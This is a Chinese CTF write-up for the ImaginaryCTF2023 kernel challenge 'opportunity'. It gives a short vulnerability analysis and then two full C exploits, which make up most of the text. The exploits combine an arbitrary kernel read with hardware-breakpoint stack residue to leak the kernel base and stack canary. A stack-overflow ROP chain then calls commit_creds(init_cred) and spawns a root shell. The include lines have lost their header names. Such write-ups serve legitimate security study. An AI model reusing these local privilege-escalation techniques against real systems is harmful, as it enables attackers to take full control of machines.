【无数次任意地址读+栈溢出】ImaginaryCTF2023 -- opportunity

前言

本题不难,但感觉笔者的做法挺有意思(嘿嘿,自夸啦),利用到了最近学到的 ret2hbp。

漏洞分析

保护:smap 等都开了,标配啦 >_<

漏洞是直给的:这里存在一个 256 字节的任意地址读,并且是无数次的

【无数次任意地址读+栈溢出】ImaginaryCTF2023 -- opportunity_第1张图片

【无数次任意地址读+栈溢出】ImaginaryCTF2023 -- opportunity_第2张图片

然后给了一个栈溢出:

【无数次任意地址读+栈溢出】ImaginaryCTF2023 -- opportunity_第3张图片

这里IDA识别的偏移有问题,最后调试看一下或者看汇编也可以看出来偏移

漏洞利用

泄漏 koffset:

         这里直接利用任意读读取 IDT table(即之前 SCTF 中的 cpu_entry_area mapping) 从而泄漏 koffset

泄漏 kcanary:

        想要进行栈溢出提权,首先的泄漏 kcanary,因为可以看出来题目是开了 kcanary 的。这里有两种方式:

                 1)任意读遍历 init_task 的 tasks 链表找到当前进程从而泄漏 kcanary

                 2)利用硬件断点中断栈残余的内核栈地址直接读取内核栈中的 kcanary

 栈溢出布置 ROP 提权:

        这里就比较常规了,主要就是注意下 kcanary 的偏移啥的还是调试一下比较稳

exp 如下:笔者泄漏 kcanary 采用的第二种方式

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int fd;
size_t koffset;
size_t pop_rdi = 0xffffffff8101d675; // pop rdi ; ret
size_t commit_creds = 0xffffffff810ff8a0;
size_t init_cred = 0xffffffff8308b2e0;
size_t swapgs_kpti = 0xffffffff820010f0;

struct request {
        char* ptr;
        char buf[1];
};

void arb_read(struct request* req) { ioctl(fd, 0x1337, req); }
void stack_overflow(char* buf, size_t len) { write(fd, buf, len); }

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

#define DR_OFFSET(dr) ((void*)(&((struct user*)0)->u_debugreg[dr]))

int rop_pipe[2];
char hbp_buf[0x1000];
char rop_buf[0x1000];

void set_hbp(pid_t pid, void* addr)
{
        if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr))
                err_exit("FAILED to set dr0");

        long dr7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
        if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), dr7))
                err_exit("FAILED to set dr7");
}

int main(int argc, char** argv, char** env)
{
        save_status();
        fd = open("/dev/window", O_RDWR);
        if (fd < 0) err_exit("open dev file");

        pipe(rop_pipe);
        pid_t pid = fork();
        if (!pid)
        {
                if (ptrace(PTRACE_TRACEME, 0, NULL, NULL)) err_exit("FAILED to trace_me");
                raise(SIGSTOP);
                uname(hbp_buf);
                read(rop_pipe[0], rop_buf, 0x500);
                stack_overflow(rop_buf, 0x50+0x70);
                puts("CHILD OVER");

                exit(0);
        } else if (pid < 0) {
                err_exit("FAILED to fork a child process");
        }

        int status;
        waitpid(pid, &status, 0);
        set_hbp(pid, hbp_buf);

        if (ptrace(PTRACE_CONT, pid, NULL, NULL)) err_exit("FAILED to ptrace_cont");

        char buf[0x1000];
        struct request* req = (struct request*)buf;

        memset(buf, 0, sizeof(buf));
        req->ptr = 0xfffffe0000000000+4;
        arb_read(req);
        binary_dump("ARB DATA", req->buf, 0x100);
        koffset = *(size_t*)req->buf - 0xffffffff82008e00;
        hexx("koffset", koffset);

        memset(buf, 0, sizeof(buf));
        req->ptr = 0xfffffe0000010fb0 + 8*8;
        arb_read(req);
        binary_dump("ARB DATA", req->buf, 0x20);
        size_t kstack = *(size_t*)req->buf;
        hexx("kstack", kstack);

        memset(buf, 0, sizeof(buf));
        req->ptr = kstack;
        arb_read(req);
        binary_dump("ARB DATA", req->buf, 0x100);
        size_t kcanary = -1;
        for (int i = 0; i < 0x100 / 8; i++)
        {
                size_t val = *(size_t*)(&req->buf[i*8]);
                if ((val&0xffff000000000000) != 0xffff000000000000 && (val&0xff) == 0 && (val&0xff00) != 0 && val > 0x1000000000000000)
                {
                        kcanary = val;
                        break;
                }
        }
        if (kcanary == -1) err_exit("Leak kcanary");
        hexx("kcanary", kcanary);

        pop_rdi += koffset;
        init_cred += koffset;
        commit_creds += koffset;
        swapgs_kpti += koffset + 0x36;
        hexx("pop_rdi", pop_rdi);
        hexx("init_cred", init_cred);
        hexx("commit_creds", commit_creds);
        hexx("swapgs_kpti", swapgs_kpti);

        size_t rop[] = {
                kcanary,0,
                pop_rdi,
                init_cred,
                commit_creds,
                swapgs_kpti,
                0,0,
                get_root_shell,
                user_cs,
                user_rflags,
                user_sp,
                user_ss
        };
        memset(buf, 0, sizeof(buf));
        memcpy(buf+0x40, rop, sizeof(rop));
        write(rop_pipe[1], buf, 0x500);

        while(1) {}
        return 0;
}

效果如下:

【无数次任意地址读+栈溢出】ImaginaryCTF2023 -- opportunity_第4张图片

=========================================================================

思考了一下,上面用了三次任意地址读,但是其实两次就足够泄漏 koffset 和 kcanary 了, 因为中断栈上不止残留的栈地址,而且还残留了之前的 rip,如果是内核函数触发的硬件中断,那么 rip 就是一个内核地址,所以可以在泄漏 kstack 的时候同时泄漏 koffset。

exp 如下:只需要两次任意地址读

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int fd;
size_t koffset;
size_t pop_rdi = 0xffffffff8101d675; // pop rdi ; ret
size_t commit_creds = 0xffffffff810ff8a0;
size_t init_cred = 0xffffffff8308b2e0;
size_t swapgs_kpti = 0xffffffff820010f0;

struct request {
        char* ptr;
        char buf[1];
};

void arb_read(struct request* req) { ioctl(fd, 0x1337, req); }
void stack_overflow(char* buf, size_t len) { write(fd, buf, len); }

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

#define DR_OFFSET(dr) ((void*)(&((struct user*)0)->u_debugreg[dr]))

int rop_pipe[2];
char hbp_buf[0x1000];
char rop_buf[0x1000];

void set_hbp(pid_t pid, void* addr)
{
        if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr))
                err_exit("FAILED to set dr0");

        long dr7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
        if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), dr7))
                err_exit("FAILED to set dr7");
}

int main(int argc, char** argv, char** env)
{
        save_status();
        fd = open("/dev/window", O_RDWR);
        if (fd < 0) err_exit("open dev file");

        pipe(rop_pipe);
        pid_t pid = fork();
        if (!pid)
        {
                if (ptrace(PTRACE_TRACEME, 0, NULL, NULL)) err_exit("FAILED to trace_me");
                raise(SIGSTOP);
                uname(hbp_buf);
                read(rop_pipe[0], rop_buf, 0x500);
                stack_overflow(rop_buf, 0x50+0x70);
                puts("CHILD OVER");

                exit(0);
        } else if (pid < 0) {
                err_exit("FAILED to fork a child process");
        }

        int status;
        waitpid(pid, &status, 0);
        set_hbp(pid, hbp_buf);

        if (ptrace(PTRACE_CONT, pid, NULL, NULL)) err_exit("FAILED to ptrace_cont");

        char buf[0x1000];
        struct request* req = (struct request*)buf;

        memset(buf, 0, sizeof(buf));
        req->ptr = 0xfffffe0000010fb0 + 5*8;
        arb_read(req);
        binary_dump("ARB DATA", req->buf, 0x100);
        size_t koffset = *(size_t*)req->buf - 0xffffffff817895a8;
        size_t kstack = *(size_t*)(req->buf + 24);
        hexx("koffset", koffset);
        hexx("kstack", kstack);

        memset(buf, 0, sizeof(buf));
        req->ptr = kstack;
        arb_read(req);
        binary_dump("ARB DATA", req->buf, 0x100);
        size_t kcanary = -1;
        for (int i = 0; i < 0x100 / 8; i++)
        {
                size_t val = *(size_t*)(&req->buf[i*8]);
                if ((val&0xffff000000000000) != 0xffff000000000000 && (val&0xff) == 0 && (val&0xff00) != 0 && val > 0x1000000000000000)
                {
                        kcanary = val;
                        break;
                }
        }
        if (kcanary == -1) err_exit("Leak kcanary");
        hexx("kcanary", kcanary);

        pop_rdi += koffset;
        init_cred += koffset;
        commit_creds += koffset;
        swapgs_kpti += koffset + 0x36;
        hexx("pop_rdi", pop_rdi);
        hexx("init_cred", init_cred);
        hexx("commit_creds", commit_creds);
        hexx("swapgs_kpti", swapgs_kpti);

        size_t rop[] = {
                kcanary,0,
                pop_rdi,
                init_cred,
                commit_creds,
                swapgs_kpti,
                0,0,
                get_root_shell,
                user_cs,
                user_rflags,
                user_sp,
                user_ss
        };
        memset(buf, 0, sizeof(buf));
        memcpy(buf+0x40, rop, sizeof(rop));
        write(rop_pipe[1], buf, 0x500);

        while(1) {}
        return 0;
}

效果如下:

【无数次任意地址读+栈溢出】ImaginaryCTF2023 -- opportunity_第5张图片

你可能感兴趣的:(kernel-pwn,任意读+栈溢出)